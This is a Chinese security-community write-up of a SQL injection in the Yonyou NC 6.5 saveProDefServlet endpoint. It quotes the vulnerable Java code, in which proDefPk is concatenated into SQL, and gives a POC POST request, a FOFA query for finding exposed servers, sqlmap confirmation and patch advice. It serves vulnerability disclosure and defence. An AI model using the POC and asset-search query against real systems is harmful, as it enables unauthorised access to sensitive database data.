奇安信攻防社区-用友NC saveProDefServlet SQL注入漏洞分析

用友NC saveProDefServlet SQL注入漏洞分析

用友NC系统saveProDefServlet方法存在SQL注入漏洞，攻击者可获取数据库敏感信息。

一、漏洞简介
------

用友NC系统`saveProDefServlet`方法存在SQL注入漏洞，攻击者可获取数据库敏感信息。

二、影响版本
------

用友NC6.5

三、漏洞原理分析
--------

漏洞位于`saveProDefServlet`接口处，在包名称为`webimp`的目录下

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-14e2d2bcee3c815eb0ee7a2f5a532c42649b13d1.png)

漏洞代码如下

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-320fc92b10f16be997a4b92ef28c0d8d1cf2e4ab.png)

关键代码在下面

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-ec4553006bdcae97751c0e141b4650d96af75971.png)

这个类似命名以Pk结尾的查询方法已经是老熟人了，看到这种命名就能直接判断他这里有注入点

```php
 @Action(method = "POST")  
  public void doPost() {  
    String proDefXml = this.request.getParameter("prodefxml");  
    String isNewVersion = "false";  
    String newProdefPk = null;  
    String isInsertNew = "false";  
    this.response.setCharacterEncoding("utf-8");  
    this.response.setContentType("text/html");  
    PrintWriter out = null;  
    try {  
      out = this.response.getWriter();  
    } catch (IOException e1) {  
      WfmLogger.error(e1.getMessage(), e1);  
      throw new LfwRuntimeException(e1.getMessage());  
    }   
    try {  
      proDefXml = URLDecoder.decode(proDefXml, "UTF-8");  
    } catch (UnsupportedEncodingException e) {  
      WfmLogger.error(e.getMessage(), e);  
      throw new LfwRuntimeException(e.getMessage());  
    }   
    String checkRsult = checkProdefXml(proDefXml);  
    if (StringUtils.isNotBlank(checkRsult)) {  
      printSaveSuccess(out, isNewVersion, isInsertNew, newProdefPk, checkRsult);  
      return;  
    }   
    String proDefPk = this.request.getParameter("proDefPk");  
    try {  
      WfmProdefVO proDefVo = WfmServiceFacility.getProDefQry().getProDefVOByProDefPk(proDefPk);  
      if (proDefVo == null)  
        return;
```

关键代码是接收了参数proDefPk，然后传入了对应的getProDefVOByProDefPk方法当中，咱们继续追踪代码

来到如下代码中

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-afca3dab729f6448e739575cea4fcae1b6a4effe.png)

可见传入的参数与SQL语句进行了拼接，造成注入

```php
  public WfmProdefVO[] getProDefVOByProDefPks(String[] proDefPks) throws WfmServiceException {  
    List<WfmProdefVO> wfmProdefVOs = new ArrayList<>();  
    WfmProdefVO WfmProdefVo = null;  
    for (int i = 0; i < proDefPks.length; i++) {  
      WfmProdefVo = getProDefVOByProDefPk(proDefPks[i]);  
      wfmProdefVOs.add(WfmProdefVo);  
    }   
    return wfmProdefVOs.<WfmProdefVO\>toArray(new WfmProdefVO[0]);  
  }
```

下一步构造传参，调用doPost方法，然后传参proDefPk即可

```php
POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login&proDefPk=1&prodefxml=1 HTTP/1.1
Host: xxxxx
```

四、总结
----

用友NC系统`saveProDefServlet`接口的方法中直接拼接SQL语句造成了SQL注入漏洞，攻击者可以获取数据库敏感信息。

五、资产测绘
------

FOFA语法

```php
app="用友-UFIDA-NC"
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/06/attach-25ad054ba770302b0ff4a7c6d1202cd0ba99d078.png)

六、漏洞复现
------

POC

```php
POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login&proDefPk=1&prodefxml=1 HTTP/1.1
Host: xxxxx
```

使用SQLMAP进行验证，参数proDefPk存在注入

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/07/attach-bd47e47a4dfe2ac457e90a627d1844bfbdbe1d9a.png)

七、修复建议
------

安装用友NC最新的补丁并更新到最新版本，对接口添加身份信息验证并修改对应的查询方法逻辑。

发表于 2025-07-16 09:40:36
阅读 ( 86 )
分类：OA产品

用友NC saveProDefServlet SQL注入漏洞分析

0 条评论